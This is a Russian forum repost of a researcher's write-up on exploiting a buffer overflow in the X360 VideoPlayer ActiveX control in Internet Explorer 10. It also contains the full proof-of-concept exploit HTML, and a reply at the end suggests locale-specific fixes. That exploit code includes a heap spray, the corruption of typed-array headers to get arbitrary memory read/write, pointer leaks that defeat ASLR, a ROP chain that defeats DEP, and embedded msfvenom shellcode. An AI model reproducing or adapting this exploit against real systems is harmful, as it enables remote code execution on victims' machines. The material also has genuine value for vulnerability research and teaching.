R0 CREW

Fun With Info-Leaks (rh0dev.github.io)

expdev
reverse
ru
#1

Оригинал: rh0dev.github.io

Эта статья посвящена information leaks (info-leaks, утечкам информации) в 32-разрядной версии Internet Explorer 10 в 64-разрядной версии Windows 7. Они используются для обхода full ASLR / DEP и удаленного выполнения кода. Хотя программное обеспечение, содержащее ошибку, возможно, и не столь популярно, но довольно приятно найти там ошибку.

Чтение этой статьи требует знакомства с WinDbg, heap spray и info-leaks.

Надеюсь, вам понравится.

Баг

Я обнаружил уязвимость в ActiveX Control с помощью довольно старого инструмента COMRaider. Элемент управления ActiveX - это видеоплагин из X360 Software. Давайте рассмотрим его в IDA Free 5.0.

Уязвимость - это простое переполнение буфера в разделе данных модуля VideoPlayer.ocx при использовании открытого метода SetText плагина (sub_10002930). При передаче строки этому методу, код в .text: 1000298A и .text: 10002991 копирует нашу строку в переменную в разделе данных в .data: 100916A8 без обязательных проверок:

Уязвимый код, указанный в IDA

От переполнения буфера данных до записи по произвольному адресу

Хотя здесь нет указателей прямого управления потоком, как, например, в стеке, возможно, другие указатели могут быть перезаписаны, чтобы добиться каких-либо программных манипуляций и выполнения удаленного кода. Эксплуатация в Windows XP может показаться простой из-за отсутствия ASLR, но что, если мы нацелились на Internet Explorer в Windows 7 или 8? В конце концов я решил пойти этим путем.

Чтобы обойти ASLR, нам нужна утечка информации, чтобы раскрыть интересные адреса, пригодные для дальнейших действий. После некоторого экспериментирования с вызовом метода SetText и последующим вызовом других методов плагина некоторые указатели привлекли мое внимание.

Например, содержимое по адресу .data: 10092068 можно контролировать с помощью переполнения буфера. Этот указатель используется в sub_10058BAA, который, в свою очередь, выполняется, когда отправляется открытый метод SetFontName плагина.

Когда мы вызываем SetFontName со строкой меньшего размера или равной 0x40, происходит следующее:

1. Уязвимая функция

Мы попали в функцию sub_10058DAB, которая извлекает длину строки и вызывает sub_10058BAA с длиной 1-го аргумента:

Функция, вызываемая из SetFontName

2. Использование контролируемого контента

В функции sub_10058BAA адрес .data:10092068 нашего управляемого контента перемещается в .text: 10058BC7 в ECX, и вызывается функция sub_1000F775. Поскольку адрес передается через ECX в функцию, он, скорее всего, содержит этот указатель объекта:

Получение контролируемого контента

В sub_1000F775 указатель объекта перемещается в ESI (.text: 1000F784). Четвертый объект DWORD объекта [ESI + 0xC] (который мы контролируем) сравнивается с 0, а когда он не равен 0, поток программы продолжается в .text: 1000F7CE. Затем четвертый DWORD перемещается в EAX, и функция завершается. Теперь мы контролируем возвращаемое значение, переданное в EAX:

Управление EAX

Мы возвращаемся в sub_10058BAA из sub_10058DAB, и мы управляем EAX. Таким образом, мы уже можем контролировать ГДЕ мы хотим записать значение, но не то, ЧТО мы хотим записать. Наше контролируемое значение используется как указатель, и по нему записываются значения 0x40, 0x1, 0x0 и длина строки. Кроме того, управляемое значение увеличивается на 0xC, а затем записывается в память, на которую указывает EBX:

Контролируем адрес для записи

Этого может быть достаточно, чтобы перезаписать длину BSTR строки JavaScript или поля длины массива для создания Info-Leak. Во время выполнения ESI содержит тот же адрес, что и EBX. Таким образом, мы также контролируем [ESI] и получаем контроль над аргументом destination для memcpy, когда возвращаемся в sub_10058DAB из sub_10058BAA.

3. Пишем что-нибудь

В sub_10058DAB длина строки в EDI помещается как 3-й аргумент, указатель строки в EBX как 2-й, а наше управляемое значение в [ESI] в качестве первого аргумента перед вызовом _memcpy:

Злоупотребление memcpy

Мы можем использовать следующее для злоупотребления вызовом _memcpy, произвольной записи и возврата без сбоев в контексте JavaScript. Сначала мы распы ляем кучу, а затем записываем 0xcafebabe по адресу 0x1010102C с помощью SetText и SetFontName:

<!DOCTYPE HTML>
<script>
// create VideoPlayer.ocx ActiveX Object
var obj = document.createElement("object");
obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");

// spray the heap with 512M to allocate memory around 0x10101020
data = "\u2222\u2222" // use 0x22222222 as filler
while (data.length < 0x80000){data += data}
div = document.createElement("div")
for (i=0; i<=0x400; i++){
    div.setAttribute("attr"+i, data.substring(0, (0x80000 - 2 - 4 - 0x20) / 2))
}
alert("Check in WinDbg before write: dc 10101000 L14")

addr = "\x20\x10\x10\x10"  // WHERE TO WRITE (0x10101020 + 0xC)

// prepare buffer with address we want to write to
ptrBuf = ""
// fill buffer: length = relative ptr address - buffer start + ptr offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
ptrBuf += addr

// overflow buffer and overwrite the pointer value after buffer
obj.SetText(ptrBuf,0,0)

// use overwritten pointer to conduct memory write of 4 bytes
obj.SetFontName("\xbe\xba\xfe\xca") // WHAT TO WRITE
alert("Check after write: dc 10101000 L14")

</script>

Код JavaScript для произвольной записи в память

Мы можем подключить WinDbg к работающему Internet Explorer и просмотреть модифицированную память, начиная с 0x10101020, которая была ранее заполнена 0x22222222:

Модифицированная память от 0x10101020 до 0x10101031 показана в WinDbg

Подготовка утечек: один массив для полного доступа

Поскольку мы можем произвольно модифицировать любую память (несмотря на “побочные эффекты” и добавление NULL), мы можем использовать технологии, чтобы сделать всю память доступной для чтения и записи из JavaScript.

(Типизированный) array heap spray

Вместо распыления кучи строками мы используем массивы. Мы создаем блоки памяти размером 0x10000 байт, которые выравниваются по 0xXXXX0000. Первые 0xf000 байтов заполняются обычным массивом, после чего следуют заголовки типизированных массивов (объекты), которые заполняют оставшуюся страницу. Поскольку каждый заголовок типизированного массива имеет размер 0x30 байт, они выравниваются после данных общего массива в 0xXXXXF000, 0xXXXXF030, 0xXXXXF060 и так далее:

Расположение заголовков типизированных массивов

Там есть замечательный инструмент для WinDbg, который называется mona. В последнее время появилась возможность более детально выгружать объекты. Мы можем видеть различные элементы заголовка типизированного массива.

Среди других полей каждый заголовок типизированного массива имеет:

  • указатель vtable
  • поле длины
  • указатель на arraybuffer object
  • указатель на arraybuffer

Мы вводим

!py mona do -a 0x1111f000 -s 0x30

для дампа заголовка типизированного массива по адресу 0x1111F000:

Типизированный заголовок массива, показанный с помощью mona.py

Изменение заголовков типизированных массивов

Теперь мы запускаем уязвимость, так что мы перезаписываем указатель на массив буферов с нужным значением. Мы выбираем значение 0x1111F030 и перезаписываем указатель, находящийся в 0x1111F010. Таким образом, мы указываем на последующий типизированный заголовок массива в 0x1111F030. Кроме того, мы перезаписываем поле длины в заголовке типизированного массива одним из наших значений «побочного эффекта» (0x00000040).

Найти модифицированный типизированный массив легко: мы перебираем все типизированные массивы и проверяем, не равны ли их первые элементы нулю. Когда мы попадаем в модифицированный массив, его первый элемент указывает на типизированный массив vtable. Затем мы используем модифицированный массив для изменения последующего заголовка типизированного массива: мы устанавливаем длину по адресу 0x1111F048 в 0x7fffffff и указатель массива буферов на начало памяти процесса, а именно 0x0. Мы можем это сделать с помощью записи элемента массива (arr[k][i][6] = 0x7fffffff и arr[k][i][7] = 0x0).

После всех манипуляций мы можем просмотреть заголовки типизированных массивов в WinDbg:

Измененные заголовки типизированных массивов

В этот момент у нас есть типизированный массив, который можно использовать из JavaScript, как и любой другой массив, но с возможностью чтения и записи по любому адресу памяти!

Доступ к произвольному адресу памяти

Поскольку у нас есть интерфейс readwrite для памяти, мы можем использовать его через обращения к массивам для чтения и записи произвольной памяти.

Утечка памяти

Поэтому мы можем использовать код JavaScript, который запрашивает у вас абсолютный адрес и возвращает контент по этому адресу. Если вы протестируете его, обратите внимание на то, чтобы он отображал существующий(выделенный) адрес, иначе вы получите сбой.

Мы знаем, что по адресу 0x1111F060 находится vtable . Поэтому давайте прочитаем этот адрес, указав значение 0x1111F060 в поле запроса:

Цикл и утечка

Должно появиться окно с сообщением о том, что полученное содержимое интерпретируется как DWORD:

Утечка vftable

Это согласуется с выводом WinDbg, который мы видели ранее.

Установка и утечка объектов

Поскольку размещение в куче предсказуемо, мы можем установить любой объект как элемент массива и найти его адрес. Например, мы можем поместить объект ActiveX в качестве первого элемента массива, находящегося дальше страницы с управляемыми заголовками типизированных массивов. Поскольку массив выровнен по 0x11120000, мы знаем, что указатель объекта находится в 0x11120020 (20 байтов заняты заголовком выделения и метаданными массива). Мы просто поставляем 0x11120020 / 4 в качестве индекса для нашего массива и получаем адрес объекта. Вы можете протестировать его, раскомментируя строку # 102 в скрипте утечки и передавая 0x11120020 в окно приглашения. Чтобы проверить это с помощью WinDbg, введите dd 0x11120020.

Углубляемся в объекты

Когда мы читаем контент по указанному адресу и знаем, что содержимое является указателем, мы можем снова использовать извлеченный контент в качестве индекса в нашем массиве. Таким образом, мы можем впоследствии разметить поля объектов, чтобы читать и переписывать их.

Выполнение кода

Наконец, пришло время запустить калькулятор. Есть PoC, который реализует выполнение кода и запускает calc.exe.

Просто короткое описание того, что происходит:

  • Сначала мы определяем адрес объекта-плагина ActiveX и получаем базу VideoPlayer.ocx, не касаясь таблиц импорта / экспорта (строки # 162 - # 179).
  • Получено расположение VirtualAlloc и _memcpy (строка # 181/183)
  • Затем мы помещаем shellcode в массив и динамически получаем его адрес (# 210 - # 215).
  • В строках от # 231 до # 249 мы строим цепочку ROP и заполняем ее необходимыми полями. Во время выполнения цепочка ROP выделяет исполняемую память, копирует шелл-код на нее и переходит к ней. Цепочка использует гаджеты только из модуля VideoPlayer.ocx.
  • Затем мы перезаписываем поле объекта ActiveX адресом ROP, чтобы получить контроль над EIP (# 252/253)
  • Чтобы передать поток программы в цепочку ROP, мы вызываем метод Play плагина ActiveX внутри JavaScript (# 256). Выполняет вызов [EAX + 0x30] с помощью EAX, указывая на заполненное поле, содержащее адрес нашей цепочки ROP.

И вуаля! Мы обошли полностью ASLR и DEP и получили удаленное выполнение кода с переполнением буфера в разделе данных. Весело!

Написано Rh0 для rh0dev.github.io

Переведено DreamSeller

<!DOCTYPE HTML>
 
<!--
 
 
###############################################################################
*
* Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass
* Author: Rh0
* Date: Jan 30 2015
* Affected Software: X360 VideoPlayer ActiveX Control 2.6 (VideoPlayer.ocx)
* Vulnerability: Buffer Overflow in Data Section
* Tested on: Internet Explorer 10 32-bit (Windows 7 64-bit in VirtualBox)
* Software Links:
  http://www.x360soft.com/demo/videoplayersetup.exe
  http://download.cnet.com/X360-Video-Player-ActiveX-Control/3000-2170_4-10581185.html
 
* Detailed writeup: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/
*
###############################################################################
 
 
* Information about VideoPlayer.ocx *
###################################
 
md5sum: f9f2d32ae0e4d7b5c19692d0753451fb
 
Class VideoPlayer
GUID: {4B3476C6-185A-4D19-BB09-718B565FA67B}
Number of Interfaces: 1
Default Interface: _DVideoPlayer
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
 
* NOTES *
#########
 
*) When passing an overlong string to the ActiveX object's "SetText" method, a
buffer overflow in the data section occurs. It allows overwriting a subsequent
pointer that can be used in a controlled memcpy when dispatching the object's
"SetFontName" method. With this arbitrary write, array structures can be
manipulated to gain access to complete process memory. Equipped with this
capability, necessary information can be leaked and manipulated to execute
arbitrary code remotely.
*) Comment in the alert messages to see some leaks ;)
*) This is PoC Code: If it does not work for you, clear IE's history and try
again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183
 
 
*) Inspired by:
"http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/"
"http://ifsec.blogspot.de/2013/11/exploiting-internet-explorer-11-64-bit.html"
"https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf"
"https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf"
"https://github.com/exp-sky/HitCon-2014-IE-11-0day-Windows-8.1-Exploit/blob/master/IE 11 0day & Windows 8.1 Exploit.pdf"
 
-->
 
<html>
<body>
<button onclick=run()>runme</button>
<script>
function run(){
    /* VideoPlayer.ocx image has the rebase flag set =>
       It's mapped to another base per process run */
    /* create its vulnerable ActiveX object (as HTMLObjectElement) */
    var obj = document.createElement("object");
    obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
 
    /* amount of arrays to create on the heap */
    nrArrays = 0x1000
 
    /* size of data in one array block: 0xefe0 bytes =>
       subract array header (0x20) and space for typed array headers (0x1000)
       from 0x10000 */
    arrSize =  (0x10000-0x20-0x1000)/4
 
    /* heap array container will hold our heap sprayed data */
    arr = new Array(nrArrays)
 
    /* use one buffer for all typed arrays */
    intArrBuf = new ArrayBuffer(4)
     
    /* spray the heap with array data blocks and subsequent typed array headers
       of type Uint32Array */
    k = 0
    while(k < nrArrays){
        /* create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
           aligned at 0xXXXX0020) */
        arr[k] = new Array(arrSize);
        /* fill remaining page (0x1000) after array data with headers of
           "jscript9!Js::TypedArray<unsigned int>"  (0x55 * 0x30 = 0xff0) as a
           typed array header has the size of 0x30. 0x10 bytes are left empty */
        for(var i= 0; i<0x55; i++){
            /* headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,.. */
            arr[k][i] = new Uint32Array(intArrBuf, 0, 1);
        }
        /* tag the array's last element */
        arr[k][arrSize - 1] = 0x12121212
        k += 1;
    }
 
    /* perform controlled memwrite to 0x1111f010: typed array header is at
       0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
       0x00000001 0x00000004 0x00000040 0x1111f030 0x00
       The first 3 dwords are sideeffects due to the code we abuse for the
       controlled memcpy */
    addr = 0x1111f010  // WHERE TO WRITE
    /* prepare buffer with address we want to write to */
    ptrBuf = ""
    /* fill buffer: length = relative pointer address - buffer start + pointer
       offset */
    while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
    ptrBuf += dword2str(addr)
 
    /* trigger: overflow buffer and overwrite the pointer value after buffer */
    obj.SetText(ptrBuf,0,0)
    //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
 
    /* use overwritten pointer after buffer with method "SetFontName" to conduct
       memory write.  We overwrite a typed array's header length to 0x40 and let
       its buffer point to the next typed array header at 0x1111f030 (see above)
       */
    obj.SetFontName(dword2str(addr+0x20)) // WHAT TO WRITE
 
    /* find the corrupted Uint32Array (typed array) */
    k = 0
    arrCorrupt = 0
    while(k < 0x1000-1){
        for(var i = 0; i < 0x55-1; i++){
            if(arr[k][i][0] != 0){
                // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
                //alert("0x" + arr[k][i][0].toString(16))
                arrCorrupt = 1
                break
            }
        }
        if (arrCorrupt == 1) break
        k++
    }
 
    if (!arrCorrupt){
        alert("cannot find corrupted Uint32Array")
        return -1
    }
 
    /* modify subsequent Uint32Array to be able to RW all process memory */
    arr[k][i][6] = 0x7fffffff // next Uint32Array length
    arr[k][i][7] = 0 // set buffer of next Uint32Array to start of process mem
 
    /* our memory READWRITE interface :) */
    mem = arr[k][i+1]
    //alert(mem.length.toString(16))
    if (mem.length != 0x7fffffff){
        alert("Cannot change Uint32Array length")
        return -2
    }
    /* now we could even repair the change we did with memcpy ... */
     
    /* leak several pointers and calculate VideoPlayer.ocx base */
    arr[k+1][0] = obj // set HTMLObjectElement as first element
    //alert(mem[0x11120020/4].toString(16))
    arrayElemPtr = mem[(addr + 0x1010)/4] // leak array elem. @ 0x11120020 (obj)
    objPtr = mem[arrayElemPtr/4 + 6] // deref array elem. + 0x18
    heapPtrVideoplayer = mem[objPtr/4 + 25] // deref HTMLObjectElement + 0x64
    /* deref heap pointer containing VideoPlayer.ocx pointer */
    videoplayerPtr = mem[heapPtrVideoplayer/4] 
    base = videoplayerPtr - 0x6b3b0 // calculate base
 
    /* check if we have the image of VideoPlayer.ocx
       check for MZ9000 header and "Vide" string at offset 0x6a000 */
    if (mem[base/4] != 0x905a4d ||
        mem[(base+0x6a000)/4] != 0x65646956){
        alert("Cannot find VideoPlayer.ocx base or its version is wrong")
        return -3
    }
    //alert(base.toString(16))
 
    /* get VirtualAlloc from imports of VideoPlayer.ocx */
    virtualAlloc = mem[(base + 0x69174)/4]
    /* memcpy is available inside VideoPlayer.ocx */
    memcpy = base + 0x15070
    //alert("0x" + virtualAlloc.toString(16) + " " + 0x" + memcpy.toString(16))
     
    /* create shellcode (./msfvenom -p windows/exec cmd=calc) */
    sc = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"+
    "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"+
    "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"+
    "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"+
    "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"+
    "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"+
    "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"+
    "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"+
    "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"+
    "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
    "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"+
    "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"+
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"+
    "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"+
    "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"+
    "\x00"
 
    scBuf = new Uint8Array(sc.length)
    for (n=0; n<sc.length; n++){
        scBuf[n] = sc.charCodeAt(n)
    }
 
    /* leak shellcode address */
    arr[k+1][0] = scBuf
    /* therefore, leak array element at 0x11120020 (typed array header of
       Uint8Array containing shellcode) ... */
    elemPtr = mem[(addr + 0x1010)/4] 
    /* ...and deref array element + 0x1c (=> leak shellcode's buffer address) */
    scAddr = mem[(elemPtr/4) + 7] 
    //alert(scAddr.toString(16))
 
    /* create and leak rop buffer */
    rop = new Uint32Array(0x1000)
    arr[k+1][0] = rop
    /* leak array element at 0x11120020 (typed array header) */
    elemPtr = mem[(addr + 0x1010)/4] 
    /* deref array element + 0x1c (leak rop's buffer address) */
    pAddr = mem[(elemPtr/4) + 7]  // payload address
 
    /* ROP chain (rets in comments are omitted) */
    /* we perform:
       (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
       memcpy(EAX, shellcode, shellcodeLen)
       (void(*)())EAX() */
    offs = 0x30/4           // offset to chain after CALL [EAX+0x30]
    rop[0] = base + 0x1ff6           // ADD ESP, 0x30;
    rop[offs + 0x0] = base + 0x1ea1e // XCHG EAX, ESP; <-- first gadget called 
    rop[offs + 0x1] = virtualAlloc   // allocate RWX mem (address avail. in EAX)
    rop[offs + 0x2] = base + 0x10e9  // POP ECX; => pop the value at offs + 0x7
    rop[offs + 0x3] = 0              // lpAddress
    rop[offs + 0x4] = 0x1000         // dwSize (0x1000)
    rop[offs + 0x5] = 0x1000         // flAllocationType (MEM_COMMIT)
    rop[offs + 0x6] = 0x40           // flProtect (PAGE_EXECUTE_READWRITE)
    rop[offs + 0x7] = pAddr + (offs+0xe)*4  // points to memcpy's dst param (*2)
    rop[offs + 0x8] = base + 0x1c743 // MOV [ECX], EAX; => set dst to RWX mem
    rop[offs + 0x9] = base + 0x10e9  // POP ECX;
    rop[offs + 0xa] = pAddr + (offs+0xd)*4  // points to (*1) in chain
    rop[offs + 0xb] = base + 0x1c743 // MOV [ECX], EAX; => set return to RWX mem
    rop[offs + 0xc] = memcpy
    rop[offs + 0xd] = 0xffffffff  // (*1): ret addr to RWX mem filled at runtime
    rop[offs + 0xe] = 0xffffffff  // (*2): dst for memcpy filled at runtime
    rop[offs + 0xf] = scAddr   // shellcode src addr to copy to RWX mem (param2)
    rop[offs + 0x10] = sc.length     // length  of shellcode (param3)
 
    /* manipulate object data to gain EIP control with "Play" method */
    videopObj = mem[objPtr/4 + 26]
    mem[(videopObj-0x10)/4] = pAddr // pAddr will be used in EAX in below call
 
    /* eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
    obj.Play() 
 
}
 
/* dword to little endian string */
function dword2str(dword){
    str = ""
    for (n=0; n<4; n++){
        str += String.fromCharCode((dword >> 8*n) & 0xff)
    }
    return str
 
}
//setTimeout(run(), 3000);
</script>
</body>
</html>
    addr = 0x1111f010  // WHERE TO WRITE

При тестировании на RU win7, если указать в адресе байт из верхней половины таблицы символов (F0), эксплойт не работает. Скорее всего это связано с национальными кодировками, досконально не разбирался. Проще всего спреить тогда кусками не по 0x10000, а вполовину меньше, увеличив их количество вдвое. Тогда TypedArray попадают в допустимые адреса (0x11117010) и все работает.

Соответственно, тут

    while(k < 0x1000-1){ 

использовать nrArrays (если вводить константу, нужно ее использовать :)).